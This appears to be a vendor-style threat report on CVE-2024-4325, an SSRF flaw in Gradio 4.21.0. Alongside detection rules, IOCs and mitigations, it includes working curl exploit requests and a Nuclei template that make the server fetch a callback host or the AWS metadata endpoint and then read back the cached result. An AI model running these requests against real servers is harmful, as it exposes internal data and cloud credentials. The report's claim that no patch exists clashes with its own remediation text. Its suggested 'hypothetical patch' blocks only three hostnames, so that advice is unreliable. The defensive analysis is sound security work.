CVE-2024-4325

Executive Summary

CVE-2024-4325 is a critical Server-Side Request Forgery (SSRF) vulnerability in Gradio version 4.21.0. The flaw resides in the /queue/join endpoint and the save_url_to_cache function, where user-supplied path values are used to make HTTP requests without proper validation. An unauthenticated attacker can force the server to make arbitrary requests to internal networks or cloud metadata endpoints (e.g., AWS), leading to information disclosure and potential lateral movement. The CVSS score is 8.6 (High), and a public Nuclei template exists for detection. No patch has been officially released as of this analysis.

Supply Chain & Package Security

Gradio is a Python package widely used for building machine learning web interfaces. This vulnerability affects the Python package gradio version 4.21.0. Organizations using Gradio in their ML pipelines should immediately assess their exposure. The lack of a patch means that supply chain security is at risk; users must implement compensating controls or restrict network access to Gradio instances.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
• Base Score: 8.6 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – the vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: High (C:H) – sensitive internal data or cloud metadata can be exposed.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is easily exploitable, has a public PoC, and can lead to significant data breaches.

Deep Dive & Mechanics

The vulnerability is triggered via the /queue/join endpoint. The application expects a JSON payload containing a path field that should be a URL. This path is passed to the save_url_to_cache function, which makes an HTTP request to the specified URL without validating that it points to an allowed destination.

Attack Flow:

1. An attacker sends a POST request to /queue/join with a crafted JSON payload.
2. The path field contains a malicious URL (e.g., http://169.254.169.254/latest/meta-data/ for AWS metadata).
3. The server makes an HTTP request to that URL.
4. The response is cached and can be retrieved by the attacker via a subsequent GET request to /file=/tmp/gradio/<hash>/<path>.

The Nuclei template demonstrates this by using an interactsh URL to confirm outbound connectivity, then retrieving the cached response.

Vulnerable vs. Patched Code

Vulnerable Code (Gradio 4.21.0): The save_url_to_cache function in gradio/processing_utils.py directly uses the user-supplied path as a URL without validation:

def save_url_to_cache(url: str, cache_dir: str) -> str:
    response = requests.get(url)  # No validation
    # ... save response to cache

Patched Code (Hypothetical): A patched version would validate the URL against an allowlist or block private IP ranges:

def save_url_to_cache(url: str, cache_dir: str) -> str:
    parsed = urlparse(url)
    if parsed.hostname in ['127.0.0.1', 'localhost', '169.254.169.254']:
        raise ValueError("URL not allowed")
    response = requests.get(url)
    # ... save response to cache

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Gradio instance (version 4.21.0) accessible over the network.
• An interactsh or similar callback server to detect outbound requests.

Exploit Steps:

1. Set up an interactsh listener (e.g., oast.fun).
2. Send the malicious POST request to /queue/join:

curl -X POST http://target:7860/queue/join \
  -H "Content-Type: application/json" \
  -d '{
    "data": [[{"meta": {"_type": "gradio.FileData"}, "path": "http://oast.fun", "url": "http://127.0.0.1:7860/file=/tmp/gradio/d1be868eeb62e5194df165ccd8becbc5b3ffb299/favicon.ico", "orig_name": "favicon.ico", "size": 15406, "mime_type": "image/x-icon"}]],
    "event_data": null,
    "fn_index": 0,
    "trigger_id": 2,
    "session_hash": "l8v6ku4cm8d"
  }'

3. Retrieve the cached response:

curl http://target:7860/file=/tmp/gradio/<sha1_of_oast>/oast.fun

For AWS Metadata: Replace path with http://169.254.169.254/latest/meta-data/ and retrieve the cached response.

Blue Team (Detection & Mitigation)

Detection:

• Monitor outbound HTTP requests from Gradio servers to unexpected destinations.
• Look for POST requests to /queue/join with suspicious path values (e.g., IP addresses, cloud metadata endpoints).
• Use the provided YARA and Sigma rules.

Mitigation:

• Block outbound traffic from Gradio servers to private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16).
• Implement a Web Application Firewall (WAF) rule to inspect the path field.
• Restrict network access to Gradio instances using firewalls or network policies.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to 169.254.169.254 (AWS metadata) or other private IPs.
  • POST requests to /queue/join with JSON containing a path field pointing to external URLs.
• File IOCs:
  • Files in /tmp/gradio/ with names matching the SHA1 hash of a URL.
• Log IOCs:
  • Gradio logs showing save_url_to_cache being called with suspicious URLs.

Detection Engineering

YARA Rule

rule CVE_2024_4325_Gradio_SSRF {
    meta:
        description = "Detects Gradio SSRF exploitation attempts in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4325"
    strings:
        $json_path = /"path"\s*:\s*"http:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/ nocase
        $json_meta = /"path"\s*:\s*"http:\/\/169\.254\.169\.254/ nocase
        $json_local = /"path"\s*:\s*"http:\/\/127\.0\.0\.1/ nocase
    condition:
        any of them
}

Sigma Rule

title: Gradio SSRF Exploitation Attempt
id: 7a8b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to /queue/join with suspicious path values
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: gradio
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/queue/join'
        cs-uri-query: '*'
    keywords:
        - '169.254.169.254'
        - '127.0.0.1'
        - '10.'
        - '172.16.'
        - '192.168.'
    condition: selection and keywords
falsepositives:
    - Legitimate use of internal URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4325 Gradio SSRF Attempt"; flow:to_server; content:"POST"; http_method; content:"/queue/join"; http_uri; content:"169.254.169.254"; http_client_body; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2024-4325

info:
  name: Gradio - Server-Side Request Forgery
  author: iamnoooob,pdresearch
  severity: high
  description: |
    A Server-Side Request Forgery (SSRF) vulnerability exists in the gradio-app/gradio version 4.21.0, specifically within the `/queue/join` endpoint and the `save_url_to_cache` function. The vulnerability arises when the `path` value, obtained from the user and expected to be a URL, is used to make an HTTP request without sufficient validation checks. This flaw allows an attacker to send crafted requests that could lead to unauthorized access to the local network or the AWS metadata endpoint, thereby compromising the security of internal servers.
  impact: |
    Unauthenticated attackers can force the server to make arbitrary requests via SSRF, potentially accessing internal services and cloud metadata endpoints.
  remediation: |
    Update Gradio to a version later than 4.21.0 that patches the SSRF vulnerability.
  reference:
    - https://github.com/advisories/GHSA-973g-55hp-3frw
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4325
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2024-4325
    cwe-id: CWE-918
    epss-score: 0.65093
    epss-percentile: 0.98489
    cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:*:python:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: gradio_project
    product: gradio
    framework: python
    shodan-query:
      - http.html:"__gradio_mode__"
      - http.title:"gradio"
    fofa-query:
      - body="__gradio_mode__"
      - title="gradio"
    google-query: intitle:"gradio"
  tags: cve,cve2024,gradio,ssrf,cloud,oast,vkev,vuln

flow: http(1) && http(2)

variables:
  oast: "http://oast.fun"
  h_oast: "{{sha1(oast)}}"

http:
  - raw:
      - |
        POST /queue/join? HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
            "data": [
                [
                    {
                        "meta": {
                            "_type": "gradio.FileData"
                        },
                        "path": "{{oast}}",
                        "url": "http://127.0.0.1:7860/file=/tmp/gradio/d1be868eeb62e5194df165ccd8becbc5b3ffb299/favicon.ico",
                        "orig_name": "favicon.ico",
                        "size": 15406,
                        "mime_type": "image/x-icon"
                    }
                ]
            ],
            "event_data": null,
            "fn_index": 0,
            "trigger_id": 2,
            "session_hash": "l8v6ku4cm8d"
        }

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/json")'
          - 'contains(body, "event_id")'
        condition: and
        internal: true

  - raw:
      - |
        GET /file=/tmp/gradio/{{h_oast}}/oast.fun HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Interactsh Server"
          - "/projectdiscovery/interactsh"
        condition: and

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Isolate Gradio instances from internal networks and cloud metadata endpoints using network segmentation.
2. Implement a reverse proxy (e.g., Nginx) to filter requests to /queue/join and validate the path field.
3. Block outbound traffic from Gradio servers to private IP ranges and cloud metadata IPs (169.254.169.254).
4. Monitor logs for suspicious POST requests to /queue/join.

Long-term Fix:

• Await an official patch from Gradio. In the meantime, consider forking the repository and applying the hypothetical patch described in the "Vulnerable vs. Patched Code" section.
• Upgrade to a patched version once available.

Valters IT Signature: This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact us at [valters@example.com].

{/* [Security Hash: 5CC944F2C1FA800D6BC22114] */}